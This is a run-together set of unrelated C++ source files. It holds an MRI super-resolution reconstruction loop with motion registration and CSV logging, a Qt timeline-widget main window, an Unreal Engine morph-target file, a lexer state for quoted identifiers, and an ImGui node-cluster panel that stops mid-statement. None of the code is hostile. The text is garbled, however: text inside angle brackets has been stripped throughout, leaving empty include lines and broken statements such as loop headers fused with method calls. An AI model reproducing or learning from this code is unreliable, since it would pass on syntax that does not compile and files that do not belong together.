-> GetOutput() ); debugwriter->Update(); */ // Initialization of SR optimization parameters double criterion = 0.0; float theta = 0.0; float sigma = 0.0; float tau = 0.0; // Registration parameters unsigned int itMax=2; double epsilon=1e-4; if( updateMotionSwitchArg.isSet() ) { std::cout << "Motion estimation enabled with the following settings: " << std::endl << std::endl; std::cout << "# iterations max : " << itMax << std::endl; std::cout << "Convergence threshold : " << epsilon << std::endl; } else { std::cout << "Motion estimation disabled" << std::endl; } std::cout << "==========================================================================" << std::endl << std::endl; // Variables used if motion estimation is updated during SR ImagePointer hrImageInit; ImagePointer hrImageRef; ImagePointer hrImage; ImagePointer hrImageOld; start_time_unix = mialsrtk::getTime();; // Bregman loops for (int j = 0; j < numberOfBregmanLoops; j++) { criterion = 1.0; std::cout << "Bregman loop init : "<< j << std::endl< SetCurrentBregmanLoop(j); resampler -> SetCurrentOuterIteration(0); resampler -> SetUseRobustSR( useRobustSRArg.isSet() ); if( useRobustSRArg.isSet() ) { resampler -> SetRho1( rho1Arg.getValue() ); resampler -> SetRho2( rho2Arg.getValue() ); resampler -> SetHuberCriterion(huberArg.getValue()); } resampler -> UseReferenceImageOn(); if (j == 0) { std::cout << "Initial HR image set to input image associated with flag -r." << std::endl< SetReferenceImage( upsampler -> GetOutput() ); } else { std::cout << "Initial HR image set from previous iteration." << std::endl< SetReferenceImage( resampler -> GetOutput() ); } resampler -> SetIterations(iter); resampler -> SetLambda( lambda ); resampler -> SetGamma( gamma ); resampler -> SetSigma( sigma_init ); resampler -> SetTau( tau_init ); resampler -> SetTheta( theta_init ); resampler -> SetDeltat( deltat ); resampler -> SetConvergenceThreshold( innerConvThreshold ); resampler -> SetSliceGap( gap ); resampler -> SetBeta( beta ); for(unsigned int i=0; i AddGMMWeights( weightVImages[i] ); resampler -> AddGMMMeans( meanVImages[i] ); resampler -> AddGMMVars( varVImages[i] ); } /* std::cout << "Reference image at loop " << 0 << ": " << std::endl; std::cout << "Pointer : " << refReader ->GetOutput() << std::endl; std::cout << "Region : " << refReader ->GetOutput() ->GetLargestPossibleRegion() << std::endl; */ std::cout << "**************************************************************************" << std::endl << std::endl; if ( boxcarSwitchArg.isSet() ) resampler -> SetPSF( ResamplerType::BOXCAR ); resampler -> Print(std::cout); resampler -> Update(); std::cout << "**************************************************************************" << std::endl << std::endl; theta = theta_init; sigma = sigma_init; tau = tau_init; vnl_vector Z = resampler -> GetZVector(); //vnl_vector Y = resampler -> GetObservationsY(); // Outer loops for (int i=0; i0 && updateMotionSwitchArg.isSet() ) { std::cout << "Update motion parameters (Slice by Slice)" << std::endl << std::endl; DuplicatorType::Pointer duplicator = DuplicatorType::New(); duplicator->SetInputImage(resampler->GetOutput()); duplicator->Update(); hrImageRef = duplicator -> GetOutput(); hrImageRef -> DisconnectPipeline(); unsigned int im = numberOfImages; float previousMetric = 0.0; float currentMetric = 0.0; //Iterative slice by slice registration for(unsigned int it=1; it <= itMax; it++) { std::cout << "Iteration " << it << std::endl;// < SetFixedImage( preImages[im] ); registration[im] -> SetMovingImage( hrImageRef ); registration[im] -> SetImageMask( imageMasks[im] ); registration[im] -> SetTransform( transforms[im] ); try { registration[im] -> StartRegistration(); } catch( itk::ExceptionObject & err ) { std::cout << "ExceptionObject caught !" << std::endl; std::cout << err << std::endl; // return EXIT_FAILURE; } transforms[im] = static_cast< TransformType* >(registration[im] -> GetTransform()); std::cout << "done. "; //std::cout.flush(); } //std::cout << std::endl; //std::cout.flush(); // Inject images onto a regular HR grid std::cout << "Injecting images ... "; //std::cout.flush(); ResamplerByInjectionType::Pointer resamplerByInj = ResamplerByInjectionType::New(); for (unsigned int p=0; p AddInput( preImages[p] ); resamplerByInj -> AddRegion( rois[p] ); resamplerByInj -> SetTransform(p, transforms[p].GetPointer()) ; } resamplerByInj -> UseReferenceImageOn(); resamplerByInj -> SetReferenceImage( hrImageRef ); resamplerByInj -> SetReferenceImageMask(imageMaskCombination); resamplerByInj -> Update(); if(it > 1) hrImageOld = hrImage; hrImage = resamplerByInj -> GetOutput(); std::cout << "done. " << std::endl; //std::cout.flush(); // compute error double delta = 0.0; if (it > 1) { EulerTransformType::Pointer identity = EulerTransformType::New(); identity -> SetIdentity(); InterpolatorType::Pointer interpolator = InterpolatorType::New(); NCMetricType::Pointer nc = NCMetricType::New(); nc -> SetFixedImage( hrImageOld ); nc -> SetMovingImage( hrImage ); nc -> SetFixedImageRegion( hrImageOld -> GetLargestPossibleRegion() ); nc -> SetTransform( identity ); nc -> SetInterpolator( interpolator ); nc -> Initialize(); previousMetric = currentMetric; currentMetric = - nc -> GetValue( identity -> GetParameters() ); delta = (currentMetric - previousMetric) / previousMetric; std::cout<<"previousMetric: "< GetNumberOfSlices(); s++) resampler -> SetTransform(lr, s, transforms[lr] -> GetSliceTransform(s) ) ; } std::cout << "**************************************************************************" << std::endl << std::endl; }// End of motion estimation resampler -> SetCurrentOuterIteration(i+1); std::cout << "Bregman loop : "<< j << " / TV Loop : "<< (resampler -> GetCurrentOuterIteration()) < GetTheta(); std::cout<<"Theta (outer) = "< SetGamma( gamma ); std::cout << "Sigma old / new = " << sigma << " / "; sigma = sigma / theta; std::cout< SetSigma( sigma ); std::cout << "Tau old / new = " << tau << " / "; tau = theta * tau; std::cout< SetTau( tau ); resampler -> SetZVector(Z); //resampler -> SetTheta( theta ); //resampler -> UpdateXest(); //resampler -> SetXold(); /* std::cout << "Reference image at loop " << i+1 << ": " << std::endl; std::cout << "Pointer : " << resampler ->GetOutput() << std::endl; std::cout << "Region : " << resampler ->GetOutput() ->GetLargestPossibleRegion() << std::endl; */ std::cout << "New reference size : " << resampler -> GetOutput()->GetLargestPossibleRegion().GetNumberOfPixels() << std::endl; resampler -> SetReferenceImage( resampler -> GetOutput() ); resampler -> Update(); criterion = resampler -> GetCriterionValue(); std::cout << std::endl << "Outer loop criterion = " << criterion << std::endl << std::endl; //resampler -> Print(std::cout); if ( strcmp(debugDir,"") != 0 ) { std::ostringstream ss; ss << debugDir << "/" << debugfilename << (i+1) << ".nii.gz"; std::cout << "##################################################################" << std::endl; std::cout << "Debug mode : writing image "<< ss.str() << std::endl; std::cout << "##################################################################" << std::endl << std::endl; debugwriter -> SetFileName( ss.str() ); debugwriter -> SetInput( resampler -> GetOutput() ); debugwriter->Update(); } bool bCSV=true; if(bCSV==true) { //Save TVEnergy in CSV file const char * csvFileName="/home/tourbier/Desktop/NewbornWithGapForConvergence/tv_energy_inf.csv"; bool writeHeaders = false; std::ifstream fin; fin.open(csvFileName,std::ios_base::out | std::ios_base::app); if(fin.is_open()) { //Test if the file is empty. If so, we add an extra line for headers //std::cout << "Test if CSV is empty. If so, we add an extra line for headers." << std::endl; int csvLength; fin.seekg(0, std::ios::end); csvLength = fin.tellg(); fin.close(); if(csvLength == 0) { writeHeaders = true; std::cout << "Write headers in CSV" << std::endl; } else { std::cout << "CSV empty ( length : " << int2str(csvLength) << std::endl; } //NOT WORKING ON MAC /*if(fin.peek() == std::std::ifstream::traits_type::eof()) { writeHeaders = true; std::cout << "Write headers in CSV" << std::endl; } fin.close();*/ } else { std::cout << "CSV file opening failed." << std::endl; } std::ofstream fout(csvFileName, std::ios_base::out | std::ios_base::app); if(writeHeaders) { fout << "Algo" << "," << "lambda" << "," << "step-scale" << "," << "deltat" << "," << "gamma" << ","; fout << "Innerloops" << "," << "InnerThreshold" << "," << "Outerloops" << "," << "OuterThreshold" << ","; fout << "TVEnergy"; fout << std::endl; } fout << "TV" << "," << lambda << "," << stepScale << "," << deltat << "," << gamma << ","; fout << iter << "," << innerConvThreshold << "," << numberOfLoops << "," << outerConvThreshold << ","; //Add value of TV energy to CSV fout << resampler -> GetTVEnergy(); fout << std::endl; fout.close(); std::cout << "Metrics saved in CSV" << std::endl; std::cout << std::endl << "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" << std::endl; // } if(criterion < outerConvThreshold) { std::cout << "Outer loop has converged after "<< resampler -> GetCurrentOuterIteration() <<" iterations! ( last value = " << criterion << " )"<< std::endl; break; } std::cout << "**************************************************************************" << std::endl << std::endl; }// End of outer loops //Update bregman variable //resampler -> UpdateZ(); }//End of bregmann loops //Save TVEnergy in CSV file const char * csvFileName="/home/tourbier/Desktop/NewbornWithGapForConvergence/tv_energy_inf.csv"; bool writeHeaders = false; std::ifstream fin; fin.open(csvFileName,std::ios_base::out | std::ios_base::app); if(fin.is_open()) { //Test if the file is empty. If so, we add an extra line for headers //std::cout << "Test if CSV is empty. If so, we add an extra line for headers." << std::endl; int csvLength; fin.seekg(0, std::ios::end); csvLength = fin.tellg(); fin.close(); if(csvLength == 0) { writeHeaders = true; std::cout << "Write headers in CSV" << std::endl; } else { std::cout << "CSV empty ( length : " << int2str(csvLength) << std::endl; } //NOT WORKING ON MAC /*if(fin.peek() == std::std::ifstream::traits_type::eof()) { writeHeaders = true; std::cout << "Write headers in CSV" << std::endl; } fin.close();*/ } else { std::cout << "CSV file opening failed." << std::endl; } std::ofstream fout(csvFileName, std::ios_base::out | std::ios_base::app); if(writeHeaders) { fout << "Date" << "," << "Algo" << "," << "lambda" << "," << "step-scale" << "," << "deltat" << "," << "gamma" << ","; fout << "Innerloops" << "," << "InnerThreshold" << "," << "Outerloops" << "," << "OuterThreshold" << ","; fout << "TVEnergy"; fout << std::endl; } fout << mialsrtk::getRealCurrentDate() << "," << "TV" << "," << lambda << "," << stepScale << "," << deltat << "," << gamma << ","; fout << iter << "," << innerConvThreshold << "," << numberOfLoops << "," << outerConvThreshold << ","; //Add value of TV energy to CSV fout << resampler -> GetTVEnergy(); fout << std::endl; fout.close(); std::cout << "Metrics saved in CSV" << std::endl; std::cout << std::endl << "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++" << std::endl; // std::cout << "h1" << std::endl; end_time_unix = mialsrtk::getTime();; std::cout << "h2" << std::endl; diff_time_unix = end_time_unix - start_time_unix; mialsrtk::printTime("TV (IGD)",diff_time_unix); double innerLoopRunTime = resampler -> GetInnerOptTime(); double initCostFunctionRunTime = resampler -> GetInitTime(); mialsrtk::printTime("Initialization for",initCostFunctionRunTime); mialsrtk::printTime("Inner loop",innerLoopRunTime); // Write image WriterType::Pointer writer = WriterType::New(); writer -> SetFileName( outImage ); writer -> SetInput( resampler -> GetOutput() ); //writer -> SetInput( outputImage ); if ( strcmp(outImage,"") != 0) { std::cout << "Writing " << outImage << " ... "; writer->Update(); std::cout << "done." << std::endl; } // Write transforms typedef itk::TransformFileWriter TransformWriterType; if ( outTransform.size() > 0 && updateMotionSwitchArg.isSet() ) { for (unsigned int i=0; i SetInput( transforms[i] ); transformWriter -> SetFileName ( outTransform[i].c_str() ); try { std::cout << "Writing " << outTransform[i].c_str() << " ... " ; std::cout.flush(); transformWriter -> Update(); std::cout << " done! " << std::endl; } catch ( itk::ExceptionObject & excp ) { std::cerr << "Error while saving transform" << std::endl; std::cerr << excp << std::endl; std::cout << "[FAILED]" << std::endl; throw excp; } } } } catch (TCLAP::ArgException &e) // catch any exceptions { std::cerr << "error: " << e.error() << " for arg " << e.argId() << std::endl; } return EXIT_SUCCESS; } #include #include #include #include #include "../cldefs.h" #include "mainwindow.h" #include "ui_mainwindow.h" #include "dialogaeddaterange.h" #include "dialogaedevflag.h" #include "dialogmanagepf.h" #include QLabel* lbDebug = 0; MainWindow::MainWindow(QWidget *parent) : QMainWindow(parent), ui(new Ui::MainWindow), lockRoundRecursion(false) { ui->setupUi(this); chronoLine = new ChronoLine(ui->frmChrono); QVBoxLayout *layout = new QVBoxLayout; layout->addWidget(chronoLine); ui->frmChrono->setLayout(layout); // Events from ChronoLine connect(chronoLine, SIGNAL(flagDateChanged(long, const QDateTime&)), this, SLOT(anyFlagDateChanged(long, const QDateTime&))); connect(chronoLine, SIGNAL(pairDatesChanged(long, const QDateTime&, const QDateTime&)), this, SLOT(anyPairDatesChanged(long, const QDateTime&, const QDateTime&))); connect(chronoLine, SIGNAL(periodSelected(long)), this, SLOT(anyPeriodSelected(long))); connect(chronoLine, SIGNAL(eventFlagSelected(long)), this, SLOT(anyEventFlagSelected(long))); connect(chronoLine, SIGNAL(flagPairSelected(long,ChronoLineFlagType)), this, SLOT(anyFlagPairSelected(long,ChronoLineFlagType))); connect(chronoLine, SIGNAL(selectionRemoved()), this, SLOT(anySelectionRemoved())); connect(chronoLine, SIGNAL(actualUnitChanged(ChronoLineUnit)), this, SLOT(clUnitChanged(ChronoLineUnit))); connect(chronoLine, SIGNAL(mouseMovedOnScene(QPointF&,QDateTime&)), this, SLOT(onMouseMovedOnScene(QPointF&,QDateTime&))); // Initial data chronoLine->lockAutoUpdate(); // Status bar int year = QDate::currentDate().year(); ui->edMinDate->setDateTime(QDateTime(QDateTime::currentDateTime().date())); ui->edMaxDate->setDateTime(QDateTime(QDateTime::currentDateTime().date().addDays(11))); /*QDate begin = QDate( year, 1, 1); // 01.01.year QDate end = begin.addMonths(11).addDays(30); // add 11 month and 30 days -> 31.12.year :) ui->edMinDate->setDateTime( QDateTime( begin ) ); ui->edMaxDate->setDateTime( QDateTime( end ) );*/ sl1 = new QLabel(0); sl2 = new QLabel(0); sl3 = new QLabel(0); statusBar()->addWidget(sl1, 1); statusBar()->addWidget(sl2, 1); statusBar()->addWidget(sl3, 4); lbDebug = sl3; // Periods/flags debugging long idP = chronoLine->addPeriod(QDateTime::currentDateTime().addDays(1), QDateTime::currentDateTime().addDays(2)); if (idP) periods.push_back(idP); idP = chronoLine->addPeriod(QDateTime::currentDateTime().addDays(5), QDateTime::currentDateTime().addDays(6)); if (idP) periods.push_back(idP); idP = chronoLine->addPeriod( QDateTime::currentDateTime().addDays(5).addSecs(-2*3600), QDateTime::currentDateTime().addDays(6).addSecs(-2*3600)); if (idP) periods.push_back(idP); idP = chronoLine->addPeriod( QDateTime::currentDateTime().addDays(5).addSecs(2*3600), QDateTime::currentDateTime().addDays(6).addSecs(2*3600)); if (idP) periods.push_back(idP); long idF = chronoLine->addEventFlag(QDateTime::currentDateTime().addDays(2).addSecs(12*3600)); if (idF) evFlags.push_back(idF); long idFP = chronoLine->addFlagPair(QDateTime::currentDateTime().addDays(3), QDateTime::currentDateTime().addDays(4)); if (idFP) flagPairs.push_back(idFP); idFP = chronoLine->addFlagPair(QDateTime::currentDateTime().addDays(8), QDateTime::currentDateTime().addDays(9)); if (idFP) flagPairs.push_back(idFP); idF = chronoLine->addEventFlag(QDateTime::currentDateTime().addDays(7)); if (idF) evFlags.push_back(idF); // Ready! chronoLine->unLockAutoUpdate(); updateView(); // StatusBar 2 clUnitChanged(chronoLine->actualUnit()); } MainWindow::~MainWindow() { delete ui; } void MainWindow::changeEvent(QEvent *e) { QMainWindow::changeEvent(e); switch (e->type()) { case QEvent::LanguageChange: ui->retranslateUi(this); break; default: break; } } void MainWindow::resizeEvent(QResizeEvent*) { chronoLine->updateAll(); // TODO dup? } void MainWindow::on_actionE_xit_triggered() { close(); } void MainWindow::updateSettings() { chronoLine->setMinDate(ui->edMinDate->dateTime()); chronoLine->setMaxDate(ui->edMaxDate->dateTime()); chronoLine->setUnit((ChronoLineUnit)ui->cbUnit->currentIndex()); } void MainWindow::updateView() { if (!chronoLine->updateAll()) QMessageBox::critical(0, trUtf8("Ошибка"), trUtf8("Слишком большая единица измерения для выбранного периода либо неверная дата окончания")); sl2->setText(tr("%1 periods, %2 event flags").arg(chronoLine->periodCount()).arg(chronoLine->eventFlagCount())); } void MainWindow::on_edMinDate_dateTimeChanged(const QDateTime&) { updateSettings(); } void MainWindow::on_edMaxDate_dateTimeChanged(const QDateTime&) { updateSettings(); } void MainWindow::on_cbUnit_currentIndexChanged(const QString&) { updateSettings(); } void MainWindow::on_action_Add_Period_triggered() { DialogAEDDateRange* dlg = new DialogAEDDateRange(0); dlg->setWindowTitle(tr("Add Period")); dlg->setData(QDateTime::currentDateTime().addDays(5), QDateTime::currentDateTime().addDays(6)); dlg->exec(); if (dlg->result()==QDialog::Accepted) { QDateTime minDate, maxDate; dlg->getData(minDate, maxDate); long idP = chronoLine->addPeriod(minDate, maxDate, Qt::yellow); if (idP) periods.push_back(idP); } delete dlg; updateView(); } void MainWindow::on_action_Add_Event_Flag_triggered() { DialogAEDEvFlag* dlg = new DialogAEDEvFlag(0); dlg->setData(QDateTime::currentDateTime().addDays(4)); dlg->exec(); if (dlg->result()==QDialog::Accepted) { QDateTime date; dlg->getData(date); long idF = chronoLine->addEventFlag(date, Qt::yellow); if (idF) evFlags.push_back(idF); } delete dlg; updateView(); } void MainWindow::on_action_Manage_Periods_Flags_triggered() { DialogManagePF* dlg = new DialogManagePF(0, chronoLine, &periods, &evFlags, &flagPairs); dlg->exec(); delete dlg; updateView(); } void MainWindow::anyPeriodSelected(long idPeriod) { QDateTime minDate, maxDate; chronoLine->readPeriod(idPeriod, minDate, maxDate); lbDebug->setText(tr("Period %1: %2/%3").arg(idPeriod).arg(minDate.toString()).arg(maxDate.toString())); updateView(); } void MainWindow::anyEventFlagSelected(long idFlag) { QDateTime date; chronoLine->readEventFlag(idFlag, date); lbDebug->setText(tr("Flag %1: %2").arg(idFlag).arg(date.toString())); updateView(); } void MainWindow::anyFlagPairSelected(long idPair, ChronoLineFlagType) { QDateTime minDate, maxDate; chronoLine->readFlagPair(idPair, minDate, maxDate); lbDebug->setText(tr("Pair %1: %2/%3").arg(idPair).arg(minDate.toString()).arg(maxDate.toString())); updateView(); } void MainWindow::anySelectionRemoved() { lbDebug->setText(""); updateView(); } void MainWindow::anyFlagDateChanged(long idFlag, const QDateTime& newDate) { if (!lockRoundRecursion) { lockRoundRecursion = true; QDateTime roundDate = chronoLine->roundToUnit(newDate, cluDay); chronoLine->editEventFlag(idFlag, roundDate); updateView(); lockRoundRecursion = false; } lbDebug->setText(tr("Flag %1 set to %2").arg(idFlag).arg(newDate.toString())); } void MainWindow::anyPairDatesChanged(long idPair, const QDateTime& newMinDate, const QDateTime& newMaxDate) { if (!lockRoundRecursion) { lockRoundRecursion = true; QDateTime roundMinDate = chronoLine->roundToUnit(newMinDate, cluDay); QDateTime roundMaxDate = chronoLine->roundToUnit(newMaxDate, cluDay); chronoLine->editFlagPair(idPair, roundMinDate, roundMaxDate); updateView(); lockRoundRecursion = false; } lbDebug->setText(tr("Pair %1: %2/%3").arg(idPair).arg(newMinDate.toString()).arg(newMaxDate.toString())); } void MainWindow::on_action_Fit_objects_on_scene_triggered() { chronoLine->fitObjectsOnScene(true); } void MainWindow::on_action_Set_scale_Range_triggered() { DialogAEDDateRange* dlg = new DialogAEDDateRange(0); dlg->setWindowTitle(tr("Set scale range")); dlg->setData(chronoLine->minDate(), chronoLine->maxDate()); dlg->exec(); if (dlg->result()==QDialog::Accepted) { QDateTime minDate, maxDate; dlg->getData(minDate, maxDate); chronoLine->setMinDate(minDate); chronoLine->setMaxDate(maxDate); } delete dlg; updateView(); } void MainWindow::on_action_Zoom_In_triggered() { chronoLine->zoomIn(0.5); } void MainWindow::on_actionZoom_Out_triggered() { chronoLine->zoomOut(0.5); } void MainWindow::on_action_Add_Pair_Of_Flags_triggered() { DialogAEDDateRange* dlg = new DialogAEDDateRange(0); dlg->setWindowTitle(tr("Add Pair of Flags")); dlg->setData(QDateTime::currentDateTime().addDays(3), QDateTime::currentDateTime().addDays(4)); dlg->exec(); if (dlg->result()==QDialog::Accepted) { QDateTime minDate, maxDate; dlg->getData(minDate, maxDate); long idP = chronoLine->addFlagPair(minDate, maxDate, Qt::magenta); if (idP) flagPairs.push_back(idP); } delete dlg; updateView(); } void MainWindow::clUnitChanged(ChronoLineUnit unit) { if (ui) sl1->setText(tr("Units: %1").arg(ui->cbUnit->itemText(unit))); } void MainWindow::onMouseMovedOnScene(QPointF& scenePos, QDateTime& sceneDate) { lbDebug->setText(tr("Mouse on (%1,%2) ").arg(scenePos.x()).arg(scenePos.y())+sceneDate.toString("dd.MM.yyyy hh:mm:ss")); } 1-10 // Copyright 1998-2017 Epic Games, Inc. All Rights Reserved. /*============================================================================= MorphMesh.cpp: Unreal morph target mesh and blending implementation. =============================================================================*/ #include "CoreMinimal.h" #include "ProfilingDebugging/ResourceSize.h" #include "EngineUtils.h" #include "Animation/MorphTarget.h" #include "HAL/LowLevelMemTracker.h" ////////////////////////////////////////////////////////////////////////// UMorphTarget::UMorphTarget(const FObjectInitializer& ObjectInitializer) : Super(ObjectInitializer) { } void UMorphTarget::Serialize( FArchive& Ar ) { LLM_SCOPE(ELLMTag::Animation); Super::Serialize( Ar ); FStripDataFlags StripFlags( Ar ); if( !StripFlags.IsDataStrippedForServer() ) { Ar << MorphLODModels; } } void UMorphTarget::GetResourceSizeEx(FResourceSizeEx& CumulativeResourceSize) { Super::GetResourceSizeEx(CumulativeResourceSize); for (const auto& LODModel : MorphLODModels) { LODModel.GetResourceSizeEx(CumulativeResourceSize); } } ////////////////////////////////////////////////////////////////////// SIZE_T FMorphTargetLODModel::GetResourceSize() const { return GetResourceSizeBytes(); } void FMorphTargetLODModel::GetResourceSizeEx(FResourceSizeEx& CumulativeResourceSize) const { CumulativeResourceSize.AddUnknownMemoryBytes(Vertices.GetAllocatedSize() + sizeof(int32)); } SIZE_T FMorphTargetLODModel::GetResourceSizeBytes() const { FResourceSizeEx ResSize; GetResourceSizeEx(ResSize); return ResSize.GetTotalMemoryBytes(); } gear-lang/gear-vm-cppaml-vm/src/vm/compiler/lexer/first_pass/quoted_identifier.cpp #include "../lexer.hpp" namespace AVM { Lexer:: FirstPassQuotedIdentifierState::FirstPassQuotedIdentifierState() : identifierType(QuotedIdentifierTypeUndecided) {}; void Lexer:: FirstPassQuotedIdentifierState::handle(AVM::Lexer::FirstPassMachine &machine, UChar32 inputChar) { switch (rawToken.rawValue.size()) { case 0: /* just leading ` */ accept(inputChar); break; case 1: /* decide state */ if (Lexer::isAmlIdentifierStart(inputChar)) { identifierType = QuotedIdentifierTypeNamed; accept(inputChar); } else if (inputChar == Backtick) { identifierType = QuotedIdentifierTypeDoubleQuoted; accept(inputChar); } else if (Lexer::isAmlOperatorChar(inputChar)) { identifierType = QuotedIdentifierTypeOperator; accept(inputChar); } else { throw "Unexpected input character"; } break; default: { switch (identifierType) { case QuotedIdentifierTypeNamed: { const size_t lastIndex = rawToken.rawValue.size() - 1; if (rawToken.rawValue.at(lastIndex) == Backtick) { /* finished quoted identifier: `id` */ rawToken.item = RawLexicalItemIdentifier; machine.appendToOutput(rawToken); machine.changeState(new FirstPassStartState); machine.handle(inputChar); } else if (inputChar == Backtick) { /* the next accept will finish the quoted identifier */ accept(inputChar); } else if (( Lexer::isAmlIdentifierPart(inputChar) || Lexer::isAmlIdentifierEnd(inputChar)) && !Lexer::isAmlIdentifierEnd(rawToken.rawValue.at(lastIndex))) { accept(inputChar); } else if (Lexer::isAmlIdentifierRepeatableEnd(rawToken.rawValue.at(lastIndex)) && Lexer::isAmlIdentifierRepeatableEnd(inputChar)) { accept(inputChar); } else { /* the special case when identifier starts with backtick, but is not ended with one: `Tag_Name */ rawToken.item = RawLexicalItemPolymorphicTagName; machine.appendToOutput(rawToken); machine.changeState(new FirstPassStartState); machine.handle(inputChar); } break; } case QuotedIdentifierTypeOperator: if (Lexer::isAmlOperatorChar(inputChar)) { accept(inputChar); } else if (inputChar == Backtick) { accept(inputChar); rawToken.item = RawLexicalItemIdentifier; /* TODO: add to flags that this is an operator identifier, if found useful */ machine.appendToOutput(rawToken); machine.changeState(new FirstPassStartState); } else { throw "Invalid input character at quoted operator identifier"; } break; case QuotedIdentifierTypeDoubleQuoted: { const size_t lastIndex = rawToken.rawValue.size() - 1; const size_t penultimateIndex = rawToken.rawValue.size() - 2; if ( rawToken.rawValue.size() >= 5 && rawToken.rawValue.at(penultimateIndex) == Backtick && rawToken.rawValue.at(lastIndex) == Backtick) { rawToken.item = RawLexicalItemIdentifier; machine.appendToOutput(rawToken); machine.changeState(new FirstPassStartState); machine.handle(inputChar); } else { /* TODO: if AFR-0 would restrict further the possible Unicode character classes here, update this code to reflect that */ accept(inputChar); } break; } case QuotedIdentifierTypeUndecided: throw "Illegal state, the state should be already decided at this consumed length"; break; } break; } } } } elliotjb/SiSiMEX #include "ModuleNodeCluster.h" #include "ModuleNetworkManager.h" #include "ModuleAgentContainer.h" #include "Application.h" #include "Log.h" #include "Packets.h" #include "imgui/imgui.h" #include #include "ModuleTextures.h" #include #define _CRT_SECURE_NO_WARNINGS #pragma warning(disable:4996) enum State { STOPPED, STARTING, RUNNING, STOPPING }; bool ModuleNodeCluster::init() { state = STOPPED; return true; } bool ModuleNodeCluster::start() { state = STARTING; //IMG BackgroundEmpty = App->modTextures->BackgroundEmpty; Selector = App->modTextures->Selector; return true; } bool ModuleNodeCluster::update() { bool ret = true; switch (state) { case STARTING: if (startSystem()) { state = RUNNING; } else { state = STOPPED; ret = false; } break; case RUNNING: runSystem(); break; case STOPPING: stopSystem(); state = STOPPED; break; } return ret; } bool ModuleNodeCluster::updateGUI() { ImGui::Begin("Node cluster"); ImGui::ShowDemoWindow(); if (state == RUNNING) { // Number of sockets App->networkManager->drawInfoGUI(); // Number of agents App->agentContainer->drawInfoGUI(); ImGui::CollapsingHeader("ModuleNodeCluster", ImGuiTreeNodeFlags_DefaultOpen); int itemsCount = 0; for (auto node : _nodes) { itemsCount += (int)node->itemList().numItems(); } ImGui::TextWrapped("# items in the cluster: %d", itemsCount); int missingItemsCount = 0; for (auto node : _nodes) { missingItemsCount += (int)node->itemList().numMissingItems(); } ImGui::TextWrapped("# missing items in the cluster: %d", missingItemsCount); ImGui::Separator(); if (ImGui::Button("Create random MCCs")) { for (NodePtr node : _nodes) { for (ItemId contributedItem = 0; contributedItem < MAX_ITEMS; ++contributedItem) { if (node->itemList().numItemsWithId(contributedItem) > 0 && GetTypeFromID(contributedItem) != node->GetType()) { //int randNum = 0; for (ItemId constraintItem = 0; constraintItem < MAX_ITEMS; ++constraintItem) { if (node->itemList().numItemsWithId(constraintItem) == 0 /*&& GetTypeFromID(constraintItem) == node->GetType()*/) { //randNum++; // spawnMCC(node->id(), contributedItem, constraintItem); } } //int rands = rand() % randNum + 1; //int randNum2 = 0; //for (ItemId constraintItem = 0; constraintItem < MAX_ITEMS; ++constraintItem) //{ // if (node->itemList().numItemsWithId(constraintItem) == 0) // { // randNum2++; // if (randNum2 == randNum) // { // spawnMCC(node->id(), contributedItem, constraintItem); // } // } //} } } } } if (ImGui::Button("Clear all agents")) { for (AgentPtr agent : App->agentContainer->allAgents()) { agent->stop(); } } ImGui::Separator(); int nodeId = 0; for (auto &node : _nodes) { ImGui::PushID(nodeId); ImGuiTreeNodeFlags flags = 0; std::string nodeLabel = StringUtils::Sprintf("Node %d", nodeId); if (ImGui::CollapsingHeader(nodeLabel.c_str(), flags)) { if (ImGui::TreeNodeEx("Items", flags)) { auto &itemList = node->itemList(); for (int itemId = 0; itemId < MAX_ITEMS; ++itemId) { unsigned int numItems = itemList.numItemsWithId(itemId); if (numItems == 1) { ImGui::Text("Item %d", itemId); } else if (numItems > 1) { ImGui::Text("Item %d (x%d)", itemId, numItems); } } ImGui::TreePop(); } if (ImGui::TreeNodeEx("MCCs", flags)) { for (auto agent : App->agentContainer->allAgents()) { MCC * mcc = agent->asMCC(); if (mcc != nullptr && mcc->node()->id() == nodeId) { ImGui::Text("MCC %d", mcc->id()); ImGui::Text(" - Contributed Item ID: %d", mcc->contributedItemId()); ImGui::Text(" - Constraint Item ID: %d", mcc->constraintItemId()); } } ImGui::TreePop(); } if (ImGui::TreeNodeEx("MCPs", flags)) { for (auto agent : App->agentContainer->allAgents()) { MCP * mcp = agent->asMCP(); if (mcp != nullptr && mcp->node()->id() == nodeId) { ImGui::Text("MCP %d", mcp->id()); ImGui::Text(" - Requested Item ID: %d", mcp->requestedItemId()); ImGui::Text(" - Contributed Item ID: %d", mcp->contributedItemId()); } } ImGui::TreePop(); } } ImGui::PopID(); nodeId++; } } ImGui::End(); if (state == RUNNING) { // NODES / ITEMS MATRIX ///////////////////////////////////////////////////////// ImGui::Begin("Nodes/Items Matrix"); static ItemId selectedItem = 0; static unsigned int selectedNode = 0; static int comboItem = 0; ImGui::Text("Item ID "); ImGui::PushStyleColor(ImGuiCol_Button, ImVec4(0.0f, 1.0f, 0.0f, 0.5f)); ImGui::PushStyleColor(ImGuiCol_ButtonActive, ImVec4(0.3f, 0.6f, 1.0f, 0.5f)); ImGui::PushStyleColor(ImGuiCol_ButtonHovered, ImVec4(0.3f, 0.6f, 1.0f, 0.5f)); for (ItemId itemId = 0U; itemId < MAX_ITEMS; ++itemId) { if (itemId == 4) { ImGui::PopStyleColor(3); ImGui::PushStyleColor(ImGuiCol_Button, ImVec4(1.0f, 1.0f, 0.0f, 0.5f)); ImGui::PushStyleColor(ImGuiCol_ButtonActive, ImVec4(0.3f, 0.6f, 1.0f, 0.5f)); ImGui::PushStyleColor(ImGuiCol_ButtonHovered, ImVec4(0.3f, 0.6f, 1.0f, 0.5f)); } else if (itemId == 8) { ImGui::PopStyleColor(3); ImGui::PushStyleColor(ImGuiCol_Button, ImVec4(1.0f, 0.0f, 0.0f, 0.5f)); ImGui::PushStyleColor(ImGuiCol_ButtonActive, ImVec4(0.3f, 0.6f, 1.0f, 0.5f)); ImGui::PushStyleColor(ImGuiCol_ButtonHovered, ImVec4(0.3f, 0.6f, 1.0f, 0.5f)); } ImGui::SameLine(); std::ostringstream oss; oss << itemId; ImGui::Button(oss.str().c_str(), ImVec2(20, 20)); if (itemId < MAX_ITEMS - 1) ImGui::SameLine(); } ImGui::PopStyleColor(3); ImGui::Separator(); for (auto nodeIndex = 0U; nodeIndex < _nodes.size(); ++nodeIndex) { ImGui::Text("Node %02u ", nodeIndex); if 